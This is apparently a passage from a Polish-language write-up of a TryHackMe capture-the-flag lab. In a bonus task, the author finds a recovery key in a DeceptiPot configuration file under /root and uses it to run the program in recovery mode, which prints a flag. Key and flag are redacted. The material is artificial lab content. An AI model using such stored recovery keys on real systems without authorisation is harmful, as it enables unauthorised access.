    • Treść: Czy możesz uruchomić DeceptiPot w trybie odzyskiwania?

    Bonusowym zadaniem było pozyskanie klasycznej flagi poprzez uruchomienie programu DeceptiPot (fikcyjny program, przygotowany specjalnie pod CTFa) w trybie odzyskiwania.

    Sam program znajdował się w katalogu /root. W tym samym folderze znalazłem również plik konfiguracyjny, zawierający poświadczenia, w tym klucz odzyskiwania (reckey):

    # [...] reszta pliku
    
    [security]
    # Recovery key to change DeceptiPot settings after deployment
    reckey = yyyyyyy
    # Disables all DeceptiPot security features, use with caution
    debugmode = true

    Samo użycie klucza było banalne:

    root@deceptipot-demo:~/deceptipot# /usr/bin/deceptipot  -h
    Usage of /usr/bin/deceptipot:
      -d          Daemonize
      -r string   Recovery Key
    root@deceptipot-demo:~/deceptipot# /usr/bin/deceptipot -r yyyyyyy
    Loading... Access granted: THM{xxxxxxxxxxxxxxxxxxxxx}